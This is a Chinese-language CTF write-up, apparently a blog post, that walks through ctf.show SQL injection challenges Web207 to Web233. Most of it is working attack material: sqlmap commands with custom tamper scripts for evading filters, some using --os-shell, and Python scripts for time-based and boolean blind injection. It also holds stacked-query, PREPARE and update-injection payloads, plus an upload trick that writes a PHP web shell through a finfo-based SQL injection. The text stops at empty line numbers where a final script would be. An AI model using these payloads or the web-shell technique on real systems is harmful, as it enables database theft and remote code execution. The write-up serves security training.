python .\sqlmap.py -u [http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/index.php](http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/getToken.php"](http://14446647-1d47-4f41-92da-b93789ccad33.challenge.ctf.show/api/getToken.php") --safe-freq=1
这里也可以手动闭合
–suffix:指定payload后面加的后缀
suffix可以添加多个
--suffix="')#"

Web207(tamper绕过空格)

image.png
在上一题的基础上增加了对空格的过滤
python .\sqlmap.py -u [http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/index.php](http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/getToken.php"](http://c0c1dcf0-a8bb-4798-bafb-194bda564bfe.challenge.ctf.show/api/getToken.php") --safe-freq=1 --tamper=space2comment
用–tamper参数去绕过
space2comment是一种模式,表示空格被ban

Web208(双写)

image.png
空格和select都被ban了,但是select可以双写绕过
我们要自己写个tamper脚本,其实不难,就是在原来的脚本改动一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#author:BOOGIPOP


from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):


retVal = payload

if payload:
retVal.replace("SELECT",'selselectect')

return retVal

python .\sqlmap.py -u [http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/index.php](http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/getToken.php"](http://9ba976d8-a8a7-4771-a55f-c4f8966ced50.challenge.ctf.show/api/getToken.php") --safe-freq=1 --tamper=space2comment,doubleselect
这样就行了

Web209(like和空格2)

image.png
=被过滤了,用like
*和空格被过滤了,说明/**/行不通了,要改一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

sqlmap输入:
python .\sqlmap.py -u [http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/index.php](http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/index.php) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/getToken.php](http://280f2963-ea32-4c32-be43-e19fea38256c.challenge.ctf.show/api/getToken.php) --tamper=space2tab,equaltolike --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"
image.png
然后慢慢dump库就好了

Web210(base64+reverse)

image.png
编写tamper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
#加密两次
return retVal

SQLMAP:
python .\sqlmap.py -u [http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/index.php](http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/index.php) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/getToken.php](http://953455a0-5d6d-4981-9aa2-bf110b51774c.challenge.ctf.show/api/getToken.php) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"

Web211(同上)

image.png
多ban了空格,那就改一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
payload = space2comment(payload) #先进行替换
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal

def space2comment(payload):
retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

python .\sqlmap.py -u [http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/api/index.php](http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/api/getToken.php](http://75b998c7-4101-43cc-85f3-edf6b7882b2e.challenge.ctf.show/) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"

Web212(同上)

image.png
一样的
python .\sqlmap.py -u [http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/api/index.php](http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/api/getToken.php](http://9f69ecae-868f-4a32-85ac-e53f2593c660.challenge.ctf.show/) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1"

Web213(–os-shell,结束)

image.png
让我们体验体验–os-shell,一键获取shell权限
SQLMAP:
python .\sqlmap.py -u [http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/api/index.php](http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/) --user-agent=sqlmap --referer=ctf.show --safe-url=[http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/api/getToken.php](http://f886da03-8117-438d-be7f-a51c91231c7e.challenge.ctf.show/) --tamper=REVERSEANDBASE64 --safe-freq 1 --method=PUT --headers="Content-Type:text/plain" --data "id=1" --os-shell
image.pngimage.png

Web214(时间盲注开始)

image.png
在主页(最开始的主页)抓包可以发现:
image.png
ip是可注入点,我们写个时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#@author:Boogipop
import requests
import time
url='http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/api/'
result=''
i=0
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)//2
data={
# "ip":f"if(ord(substr(database(),{i},1))>{mid},sleep(2),1)"查找数据库名字
# "ip": f"if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(1),1)",ctfshow_flagx,ctfshow_info
# "ip": f"if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))>{mid},sleep(1),1)",id,flaga,info
"ip": f"if(ord(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))>{mid},sleep(1),1)",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
if t2-t1>1:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break

或者也可以用sqlmap嗦一嗦:
python .\sqlmap.py -u [http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/api/index.php](http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/api/index.php) --data "ip=1&debug=1" --referer=[http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/index.php](http://7a58ecfc-246e-4ef7-9fef-1e686149a259.challenge.ctf.show/index.php) --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" --dbs

Web215(同上)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
url='http://710b6654-8399-4f36-bf73-190f41836878.challenge.ctf.show/api/'
result=''
i=0
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)//2
data={
# "ip":f"1' or if(ord(substr(database(),{i},1))>{mid},sleep(1),1)#",
# "ip": f"1'or if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(1),1)#",
# "ip": f"1'or if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))>{mid},sleep(1),1)#",
"ip": f"1'or if(ord(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))>{mid},sleep(1),1)#",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
if t2-t1>1:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break

也可以用sqlmap,但是貌似会非常慢

Web216(闭合)

image.png
这一题前面有个from_base64,这是mysql的base64加密语句
要想办法闭合这个,抓包测试一下:
image.png
如上payload发现成功延时,MQ==就是1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
url='http://41d2de27-e3db-4c3b-aa72-85a6a955e343.challenge.ctf.show/api/'
result=''
i=0
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)//2
data={
"ip":f"'MQ==') or if(ord(substr(database(),{i},1))>{mid},sleep(1),1)#",
# "ip": f"1'or if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(1),1)#",
# "ip": f"1'or if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))>{mid},sleep(1),1)#",
# "ip": f"1'or if(ord(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))>{mid},sleep(1),1)#",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
if t2-t1>1:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break

我猜sqlmap貌似不太行?

Web217(sleep过滤)

image.png
过滤了sleep,但是我们不仅仅只有这个函数:
image.png
在这里我选择benchmark(t,exp):
image.png
上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url='http://4eace14c-e88a-4f82-8808-fc4bbf45406c.challenge.ctf.show/api/'
result=''
i=0
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)//2
data={
# "ip":f"1) or if(ord(substr(database(),{i},1))>{mid},(select benchmark( 300000, md5( 'test' ))),1)#",
# "ip":f"1) or if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},(select benchmark(1500000, md5( 'test' ))),1)#",
# "ip": f"1) or if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))>{mid},(select benchmark(1500000, md5( 'test' ))),1)#",
"ip": f"'MQ==') or if(ord(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))>{mid},(select benchmark(1500000, md5( 'test' ))),1)#",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
# print(t2-t1)#调试
if t2-t1>1:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break

由于时间不确定,需要进行调试

Web218(同上)

ban了benchmark
用笛卡尔积去延时,但是这个需要慢慢调试
image.png
A,B,C表示别名用于区分,可以是同一张表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dirty="(SELECT count(*) FROM information_schema.columns A,information_schema.tables B,information_schema.schemata C)"#测试
import requests
import time
url='http://c7f882b8-d040-4064-97ef-f8b497aeea15.challenge.ctf.show/api/'
result=''
i=0
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)//2
data={
# "ip":f"1) or if(ord(substr(database(),{i},1))>{mid},{dirty},1)#",
# "ip":f"1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},{dirty},1)#",
# "ip": f"1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))>{mid},{dirty},1)#",
"ip": f"1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))>{mid},{dirty },1)#",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
print(t2-t1)#调试
if t2-t1>0.4:#这边不稳定,要调试
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break

Web219(同上)

脚本调试一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dirty="(SELECT count(*) FROM information_schema.columns A,information_schema.tables B,information_schema.schemata C,information_schema.schemata D)"#测试
import requests
import time
url='http://7b564f61-c7a3-4525-8e33-1a74f4617d37.challenge.ctf.show/api/'
result=''
i=0
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)//2
data={
# "ip":f"1) or if(ascii(substr(database(),{i},1))>{mid},{dirty},1)#",
# "ip":f"1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},{dirty},1)#",
# "ip": f"1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))>{mid},{dirty},1)#",
"ip": f"1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))>{mid},{dirty},1)#",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
print(t2-t1)#调试
if t2-t1>0.9:#这边不稳定,要调试
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break

Web220(时间盲注结束)

image.png
ban了很多啊,mid,substr,ascii,ord没了
用left:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
url='http://d3dd4bc2-b8aa-4a8f-ab79-5ca6e38feba6.challenge.ctf.show/api/'
dirty="(SELECT count(*) FROM information_schema.columns A,information_schema.tables B,information_schema.schemata C,information_schema.schemata D)"#测试
import requests
import time
import string
result=''
s="_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
i=0
while True:
i+=1
for j in s:
result+=j
data={
# "ip":f"1) or if(ascii(substr(database(),{i},1))>{mid},{dirty},1)#",
# "ip":f"1) or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i})='{result}',{dirty},1)#",
# "ip": f"1) or if(left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{i})='{result}',{dirty},1)#",

"ip": f"1) or if(left((select flagaabcc from ctfshow_flagxcac ),{i})='{result}',{dirty},1)#",
"debug":1
}
t1=time.time()
r=requests.post(url,data=data)
t2=time.time()
# print(t2-t1)#调试
if t2-t1>0.9:#这边不稳定,要调试
print(result)
else:
result=result[:-1]

Web221(报错+优化查询)

image.png
查询语句中username没掉了,只留下limit和page,limit后面能跟的基本上只有 procedure analyse()

procedure analyse()中有2个参数,在任意一个参数中使用报错注入即可:
[http://76d09576-b75d-4547-94bc-33fe3a540e8a.challenge.ctf.show/api/?page=2&limit=1](http://76d09576-b75d-4547-94bc-33fe3a540e8a.challenge.ctf.show/api/?page=2&limit=1) procedure analyse(1,extractvalue(rand(),concat(0x7e,database())))
image.png

因为是拿到数据库名字就算赢,所以数据库名字就算payload
ctfshow_web_flag_x

Web222(group盲注)

image.png
抓包分析:
image.png
这样子可以成功延时
写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
url='http://cc42cb4a-676c-4c30-a254-be3eb0350f5a.challenge.ctf.show/api/'
import requests
import time
result=''
i=0
while True:
i+=1
head=1
tail=127
while head<tail:
mid=(head+tail)>>1
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.05),1)"
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))>{mid},sleep(0.05),1)"
payload = f"if(ascii(substr((select flagaabc from ctfshow_flaga),{i},1))>{mid},sleep(0.05),1)"

data={
"u":payload
}
t1=time.time()
r=requests.get(url,params=data)
t2=time.time()
print(t2-t1)#调试
if t2-t1>0.9:#这边不稳定,要调试
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break
#ctfshow{bfaa3eca-5788-47d6-917e-1d1d999999a8}

结束

Web223(布尔盲注)

image.png
image.png
ban掉了数字,我们需要改一下脚本,现在sleep函数就不太好用了,先分析一下
image.png
如果为真,返回username,结果如上,如果为假,返回true,结果如下:
image.png
所以里面的“passwordAUTO”可以作为判断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
url='http://1b9e5e11-fe7b-406a-bcf6-591deca928fb.challenge.ctf.show/api/'
import requests
result=''
i=0
def getnumber(i):
num='true'
if num == 1:
return num
else:
for i in range(i-1):
num+='+true'
return num

while True:
i+=1
head=1
tail=127
while head<tail:
mid=(head+tail)>>1
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{getnumber(i)},true))>{getnumber(mid)},username,true)"
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{getnumber(i)},true))>{getnumber(mid)},username,true)"
payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{getnumber(i)},true))>{getnumber(mid)},username,true)"

data={
"u":payload
}
r=requests.get(url,params=data)
if "passwordAUTO" in r.text:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break
#ctfshow{bfaa3eca-5788-47d6-917e-1d1d999999a8}
#ctfshow{9836e2d7-273d-4187-8d98-887bb54108b8}

稍微改了一下脚本,这里有一个关于groupby报错注入的知识点:

Web224(finfo文件注入)

image.png
没想到的是页面居然是一个登入界面,访问robots.txt:
image.png
访问/pwdreset.php:
image.png
是把admin管理员账号重置密码的地方,重置后登入:
image.png
来到了一个文件上传的地方,到这里我也很疑惑,在这儿,你会发现你上传什么图片文件都无法上传成功,不是文件过大就是返回类型错误,然后我随便上传了一个别的类型的文件:
image.pngimage.png
发现已经成功上传,并且名字也被重新命名了,这里一共有两个值filename和filetype其中filetype是不会被重写的
猜测这里存在注入点,使用了finfo函数去读取文件:

大致用法如下:

1
2
3
4
5
6
<?php
var_dump((new finfo)->file('2.png'));
//等价于
$file=finfo_open(FILEINFO_NONE);
var_dump(finfo_file($file,'2.png'));
?>

image.png
可以看到上下两个语句的效果是等效的,finfo_open必须和finfo_file一起使用,或者用(new finfo)的方法去访问,new finfo实际上作用等效于finfo_open,看得到返回的内容是文件的一系列信息
利用这一点构造一个payload文件:(记事本打开)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+                                     沁s寂dA?q?y黃抾|{9l惒1%╓m鯧幆v9?3#;mv诬磇S鏛5Dv镓Qj堜匒C?煕?乼ニo妻鷷?7n积寒遝e跞HO疜鸹M=鳁^鴀亍o钏fH?5fmUe羰獞Q<黁dS溄$??喙瑙枴溓?{3Uo堊%?k?t饜〖.鲽|a?s?齁韱y;啑鼞?)yχ0]釵C燁L??H歩P?;F!?O??*_铧J漅	Q4IQ糅酰仩Q澮Q4刷X秞燘硢枹竐蕱4猄!?Y_癵G€
-帰E娾?Zg4猄!奦Y瘷歯€
?帰U娾?gl%hT?Bm?枱_?ㄐ︶(冥(?1vA???#媌??F肣寫?c#A?チQ尣(??R鑭?h`?泞[痢嶊擣?'媌Z@?燘N肣浃(辎F?hT?ByY譯U€
y
G憲淰滲楔Ni?
??鸈≒衟鞭M狸5??Ey飂?S-≒媒胼d?侳i猖瘔畂萺淓d齙嬥?v膽~?8~鷙?6駨幆F脍??}?狊橦W?F8rQ?晴?lt⑥l涌込?珤豉cu?|??}0暹胙齑鈝?m?鞿]}睨骃闦v澌U殠鮵驥熶鷘?v(Q鍌迲I(q??(O∵鶱邖欕鯱琀NX}?氕?S鐔m諫_緌踌ü獬炉謉O貔(S遞棚矶蛧餠
GF蟧ホ魾?j0襪瀝 xCau僇疓E$4顖同(T厷$∷n艶*
圮篘a瘸?斠58犊/醡"?"z4聝(簸畊sC3n髎#懏蹲
巌麀$?攧琳Cp韔Od嶙_羗~n8??y
盇曣 (刏^蹼+?▲??Bv偁L 增"L偶j jU漫攭*??働>鏝?o棟挔* (3#?_?Bm烧賟+B-^殩AY→?AYAo??R|繠檬?B貮ㄟG賟+B5]HM厾l孭5~T 5 悴"詘?=*F*嵙牰w啝8#HU県?穊骊睻U⑶Z?拟@瑋咖D淲违JX慍??F?|e揈湑{'KX藪摽 睌飖w  矩]X.+b吙b)哽頧羃A,鴍?蛶[k闽>=@,寤???_钯?旄扁$?睌oww@ 巨??q?UJX?? b)唢頧?b??;nE,蠊 栻
飵鮦7 锯x謳[玭謮,K鶐w荍 膫/yn?砀盕敭?b鞭驈v砆鴸咻埑返^玛~}鰃`:蕑??膫o壠F軍X;蚬 ??c练黖F軍Xo?腞惧#P*唘4膔k踷Ⅺじ^,v巐╫/z.骔#c#k詴徲{簐潭C棧?臜澆鱘X€盠J瞢碷l??谨*?崌g&虓k??谨???3Ot?N记2唵:馊茌7k貊;猡$u?7俾衊KI}]?魋b繆??a?L篃?a&I榬OLK绿?寰殩刌$a式9- 矹聰鹻Zf搫)??,FgT?xT€肍?z暁拞蜁Q?5%
盯铏jJ6丏褀諗4l,嚔w?i貫EWS野??拨)}hMI弥4(z贇拞?P裘?嵡?姙害?E_^S野l劉矾>i剷(7绥?曉籿d{鹦?纟f污韴C蚸p6寚?Z7?反{牯裠冇a铥銥楮R3n檞涕?外???E痌
N敿G?N锝(p8藑o?葶痌蕉s阤蓒,惠艮觾鉠<<嶑迺7qK粭M锝甩浣?C[陟 蕞拮郥嶌N?zm_萅蓒艮?N暪?{③?V糈ダX蓒,惶艮+xx跺糸脥弗軨轇p溗}??]裐ё\杫嚇辿恿?临V拊圼邶_z飴 腔荀r=颜勄塣[?'y廵w椶{Fp躃€'厭烖?反{肤揠
巤癸脄纲榈?橑Xvf榻? 蘕?p低>鼕右罨襸?淛毼啂l?螽*谨J纐0h鷄^撰弗?^!8&(4E#珙嬎2飯襸oIO&淖z荛颠擿蓿仫T鯺垾8?戴c-?絯8?_愇剃=鍴xc?蝃?蔟坻坜霌S3柪擎絧pLP?V蕉~?蓒?ы闃k
f7癛郱@既誾?]圇鰟芖甲 c)??$掂V艮?乏€t痰??,(钢xm?戨蛣 掲B?憓'審蛖臽)(?<?发鱲∽@:鎆脜?XP
p瓚?蒠 M?y镳耍?|l匏+5A敝H??发鼬Z=8$ 0?顦閌RL?搾潣c?叹?儍P I?fX箼崇?茐x?'an趞騷?{v谴€暃I1M趸饽sY笊?! &C氷廀3皰3)鎯#倊賯[肠鳘r髱|P?衇?J罂V '?5yqT鱽?v+K帺鞠?Oq羏*(騎鮅#DQV朶W}R Q钠G(騟鮅#DQV枩[}R Q?e(騰鮅#DQV栜_}R Q膯??鮅#DQV?DKRM?湶?殥*
(K-?Ge苍S殥**b┥4%U耪=o攢RU蠩俆ye?$'敧?U灳滨gA┆O?R?铕厒敧??U?绝q翤PA俆y对渨?敧醠?蠔f觉磶蔺r5K眨p廟濖?騤謝枾NA=?
?壣a锺锺锺镅犍摵? x

可以看到文件被插入了一个脏语句,0x3c3f3d60245f4745545b315d603f3e的十六进制字符串,本地读取一下看看是什么样子的:
image.png
看的到脏字符已经插入了,网站源代码的插叙语句很可能是

1
2
3
4
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}

所以上传payload.bin文件,之后访问1.php你就会发现可以RCE了:
image.png
之后一步步读flag即可

TIPS:把upload.php拷贝了下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "
");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb
");
}

if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}

mysqli_close($con);

}

?>

可以看到此处存在注入点,和上面分析是一样的image.png

Web225(堆叠进阶)

image.png
在搜索栏内不管你搜什么都是没有结果的,抓包:
image.png
在这里输入上面的payload后:
image.png
得到了表名ctfshow_flagasa,之后再读取一下列名,用1';show columns from ctfshow_flagasa;#(url编码)
image.png
得到了flag的字段名flagas,接下来有两种解法:

解法一:

使用预处理去解决:
image.png
payload:username=1';PREPARE boogipop from concat('s','elect', ' database()');EXECUTE boogipop#;
或者是username=1';PREPARE boogipop from concat(char(115,101,108,101,99,116),' database()');EXECUTE boogipop;#
image.png
image.png
image.png
之后一步步的去改指令爆库爆字段即可

解法二:

使用Handler指令:@
image.png
payload:
先用show tables和show columns得出字段,再:
username=1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

Web226(十六进制+预处理)

image.png
把括号ban了,show也没了,那show tables是用不了了,这里有个比较骚的方法,可以用PREPARE预处理和十六进制结合:
比如PREPARE boogipop from ‘show tables’;EXECUTE boogipop;
可以把show tables十六进制编码后再放入,这样就可以绕过了:
image.png
然后就是读字段,读到为flagasb,然后这里有两种方法,和上面一样

?username=1';handler ctfsh_ow_flagas open;handler ctfsh_ow_flagas read first;

image.png

Web227(查看存储过程和函数)

参考文章:
information_schema 数据库中的 Routines 表中,存储了所有存储过程和函数的定义。使用 SELECT 语句查询 Routines 表中的存储过程和函数的定义时,一定要使用 ROUTNE_NAME 字段指定存储过程或函数的名称。否则,将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同,则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。

image.png
ban的东西没差,你用上一题的方法也可以成功,但是你会发现,你找遍了数据库也找不到flag到底在哪儿,这里就要用到数据存储查询了
payload?username=1%27;prepare%20boogipop%20from%200x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute%20boogipop;#
十六进制编码是:select * from information_schema.routines
image.png
可以看到flag

Web228-Web230

全部都是Web226的套路

Web231(update注入开始)

image.png
就给了个这个,其他啥也没给,查询框也没有,猜测传参点还是上面的/api/下,然后参数是passowrd和username
这里注入点就在password上了:
image.png
显示更新成功
这样payload的话查询语句相当于update ctfshow_user set pass = '1',username='a'#' where username = '1':
后面的话被注释了,我们把所有字段的username全部改为了a,回到主页面可以发现:
image.png
用户名全都是a,然后密码都是1,接下来就有和联合注入有点类似了,注入点是password中的username
我们payload改为password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
再回到页面就可以发现表名被暴露出了:
image.png
接下来一步步爆就可以,不赘述
也可以用子查询:
password=',username=(select a from (select group_concat(flagas)a from flaga) y4tacker) where 1=1;#&username=1
那个a是给字段的别名

Web232(同上)

image.png
加了个md5我们闭合一下就好了
image.png
更新成功,查看:

image.png

接下来和上一题一样慢慢爆就好了

Web233(boolean盲注)

image.png
查询语句没有变动,他也说没过滤,但是用上一题的payload不行了,肯定是过滤了,这边就用布尔盲注了
,猜测是对password中的内容进行了过滤
image.png
这边显示更新成功了,ctfshow是我们之前知道的一个用户名
然后就是写脚本跑脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
